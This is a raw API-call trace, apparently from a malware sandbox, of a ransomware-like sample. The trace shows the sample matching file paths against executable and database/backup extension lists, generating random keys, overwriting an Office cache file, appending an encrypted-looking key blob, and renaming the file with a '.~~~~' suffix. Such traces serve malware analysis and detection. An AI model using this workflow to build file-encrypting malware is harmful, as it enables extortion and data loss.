	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".msc") returned 0x0
	[0077.474] lstrlenW (lpString=".com") returned 4
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".com") returned 0x0
	[0077.474] lstrlenW (lpString=".lnk") returned 4
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".lnk") returned 0x0
	[0077.474] lstrlenW (lpString=".msp") returned 4
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".msp") returned 0x0
	[0077.474] lstrlenW (lpString=".pif") returned 4
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".pif") returned 0x0
	[0077.474] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0077.474] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.475] lstrlenW (lpString=".sqb") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".sqb") returned 0x0
	[0077.475] lstrlenW (lpString=".ost") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".ost") returned 0x0
	[0077.475] lstrlenW (lpString=".txt") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".txt") returned 0x0
	[0077.475] lstrlenW (lpString=".mdt") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".mdt") returned 0x0
	[0077.475] lstrlenW (lpString=".BDB") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".BDB") returned 0x0
	[0077.475] lstrlenW (lpString=".eql") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".eql") returned 0x0
	[0077.475] lstrlenW (lpString=".DBF") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DBF") returned 0x0
	[0077.475] lstrlenW (lpString=".EQL") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".EQL") returned 0x0
	[0077.475] lstrlenW (lpString=".FDB") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".FDB") returned 0x0
	[0077.475] lstrlenW (lpString=".EDB") returned 4
	[0077.475] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".EDB") returned 0x0
	[0077.475] lstrlenW (lpString=".DACPAC") returned 7
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DACPAC") returned 0x0
	[0077.476] lstrlenW (lpString=".VHD") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".VHD") returned 0x0
	[0077.476] lstrlenW (lpString=".DBV") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DBV") returned 0x0
	[0077.476] lstrlenW (lpString=".dacpac") returned 7
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dacpac") returned 0x0
	[0077.476] lstrlenW (lpString=".sdf") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".sdf") returned 0x0
	[0077.476] lstrlenW (lpString=".accdb") returned 6
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".accdb") returned 0x0
	[0077.476] lstrlenW (lpString=".DBX") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DBX") returned 0x0
	[0077.476] lstrlenW (lpString=".MDT") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".MDT") returned 0x0
	[0077.476] lstrlenW (lpString=".SQB") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".SQB") returned 0x0
	[0077.476] lstrlenW (lpString=".vhd") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".vhd") returned 0x0
	[0077.476] lstrlenW (lpString=".bac") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".bac") returned 0x0
	[0077.476] lstrlenW (lpString=".mdf") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".mdf") returned 0x0
	[0077.476] lstrlenW (lpString=".BAK") returned 4
	[0077.476] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".BAK") returned 0x0
	[0077.476] lstrlenW (lpString=".BAC") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".BAC") returned 0x0
	[0077.477] lstrlenW (lpString=".dbs") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dbs") returned 0x0
	[0077.477] lstrlenW (lpString=".vhdx") returned 5
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".vhdx") returned 0x0
	[0077.477] lstrlenW (lpString=".NDF") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".NDF") returned 0x0
	[0077.477] lstrlenW (lpString=".dat") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dat") returned 0x0
	[0077.477] lstrlenW (lpString=".DBS") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DBS") returned 0x0
	[0077.477] lstrlenW (lpString=".CKP") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".CKP") returned 0x0
	[0077.477] lstrlenW (lpString=".edb") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".edb") returned 0x0
	[0077.477] lstrlenW (lpString=".PST") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".PST") returned 0x0
	[0077.477] lstrlenW (lpString=".dbf") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dbf") returned 0x0
	[0077.477] lstrlenW (lpString=".SQL") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".SQL") returned 0x0
	[0077.477] lstrlenW (lpString=".pst") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".pst") returned 0x0
	[0077.477] lstrlenW (lpString=".dbv") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dbv") returned 0x0
	[0077.477] lstrlenW (lpString=".SDF") returned 4
	[0077.477] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".SDF") returned 0x0
	[0077.478] lstrlenW (lpString=".dtxs") returned 5
	[0077.478] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dtxs") returned 0x0
	[0077.478] lstrlenW (lpString=".db3") returned 4
	[0077.478] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".db3") returned 0x0
	[0077.478] lstrlenW (lpString=".OST") returned 4
	[0077.478] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".OST") returned 0x0
	[0077.478] lstrlenW (lpString=".dbx") returned 4
	[0077.478] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dbx") returned 0x0
	[0077.511] lstrlenW (lpString=".DB3") returned 4
	[0077.511] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DB3") returned 0x0
	[0077.511] lstrlenW (lpString=".DAT") returned 4
	[0077.511] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DAT") returned 0x0
	[0077.511] lstrlenW (lpString=".VHDX") returned 5
	[0077.511] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".VHDX") returned 0x0
	[0077.511] lstrlenW (lpString=".ndf") returned 4
	[0077.511] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".ndf") returned 0x0
	[0077.511] lstrlenW (lpString=".DB") returned 3
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DB") returned 0x0
	[0077.512] lstrlenW (lpString=".sql") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".sql") returned 0x0
	[0077.512] lstrlenW (lpString=".MYD") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".MYD") returned 0x0
	[0077.512] lstrlenW (lpString=".DBT") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DBT") returned 0x0
	[0077.512] lstrlenW (lpString=".ACCDB") returned 6
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".ACCDB") returned 0x0
	[0077.512] lstrlenW (lpString=".fdb") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".fdb") returned 0x0
	[0077.512] lstrlenW (lpString=".bak") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".bak") returned 0x0
	[0077.512] lstrlenW (lpString=".myd") returned 4
	[0077.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".myd") returned 0x0
	[0077.512] lstrlenW (lpString=".DTXS") returned 5
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".DTXS") returned 0x0
	[0077.513] lstrlenW (lpString=".ckp") returned 4
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".ckp") returned 0x0
	[0077.513] lstrlenW (lpString=".dbt") returned 4
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".dbt") returned 0x0
	[0077.513] lstrlenW (lpString=".db") returned 3
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".db") returned 0x0
	[0077.513] lstrlenW (lpString=".TXT") returned 4
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".TXT") returned 0x0
	[0077.513] lstrlenW (lpString=".MDF") returned 4
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".MDF") returned 0x0
	[0077.513] lstrlenW (lpString=".bdb") returned 4
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".bdb") returned 0x0
	[0077.513] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.513] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.513] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.514] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.514] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.514] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19750436217) returned 1
	[0077.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x981a1430, dwHighDateTime=0x1d60e1e)) 
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9340
	[0077.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9340 | out: hHeap=0x300000) returned 1
	[0077.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd2b0
	[0077.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab2d0
	[0077.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd2b0 | out: hHeap=0x300000) returned 1
	[0077.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0077.515] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.515] GetLastError () returned 0x0
	[0077.515] GetLastError () returned 0x0
	[0077.515] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.515] GetLastError () returned 0x0
	[0077.515] GetLastError () returned 0x0
	[0077.515] ReadFile (in: hFile=0x134, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x2213, lpOverlapped=0x0) returned 1
	[0077.523] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdded, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.524] WriteFile (in: hFile=0x134, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x2213, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x2213, lpOverlapped=0x0) returned 1
	[0077.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.524] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.524] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.524] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.524] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.524] CloseHandle (hObject=0x134) returned 1
	[0077.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.~~~~")) returned 1
	[0077.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.525] GetLastError () returned 0x0
	[0077.525] RtlWakeConditionVariable () returned 0x365f70
	[0077.525] GetCurrentThreadId () returned 0x9f4
	[0077.525] GetCurrentThreadId () returned 0x9f4
	[0077.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0077.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ffc0 | out: hHeap=0x300000) returned 1
	[0077.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9420 | out: hHeap=0x300000) returned 1
	[0077.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39ffc0
	[0077.526] lstrlenW (lpString=".scr") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".scr") returned 0x0
	[0077.526] lstrlenW (lpString=".cmd") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".cmd") returned 0x0
	[0077.526] lstrlenW (lpString=".dll") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dll") returned 0x0
	[0077.526] lstrlenW (lpString=".bat") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".bat") returned 0x0
	[0077.526] lstrlenW (lpString=".cpl") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".cpl") returned 0x0
	[0077.526] lstrlenW (lpString=".sys") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".sys") returned 0x0
	[0077.526] lstrlenW (lpString=".msc") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".msc") returned 0x0
	[0077.526] lstrlenW (lpString=".com") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".com") returned 0x0
	[0077.526] lstrlenW (lpString=".lnk") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".lnk") returned 0x0
	[0077.526] lstrlenW (lpString=".msp") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".msp") returned 0x0
	[0077.526] lstrlenW (lpString=".pif") returned 4
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".pif") returned 0x0
	[0077.526] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0077.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.555] lstrlenW (lpString=".sqb") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".sqb") returned 0x0
	[0077.555] lstrlenW (lpString=".ost") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".ost") returned 0x0
	[0077.555] lstrlenW (lpString=".txt") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".txt") returned 0x0
	[0077.555] lstrlenW (lpString=".mdt") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".mdt") returned 0x0
	[0077.555] lstrlenW (lpString=".BDB") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".BDB") returned 0x0
	[0077.555] lstrlenW (lpString=".eql") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".eql") returned 0x0
	[0077.555] lstrlenW (lpString=".DBF") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DBF") returned 0x0
	[0077.555] lstrlenW (lpString=".EQL") returned 4
	[0077.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".EQL") returned 0x0
	[0077.556] lstrlenW (lpString=".FDB") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".FDB") returned 0x0
	[0077.556] lstrlenW (lpString=".EDB") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".EDB") returned 0x0
	[0077.556] lstrlenW (lpString=".DACPAC") returned 7
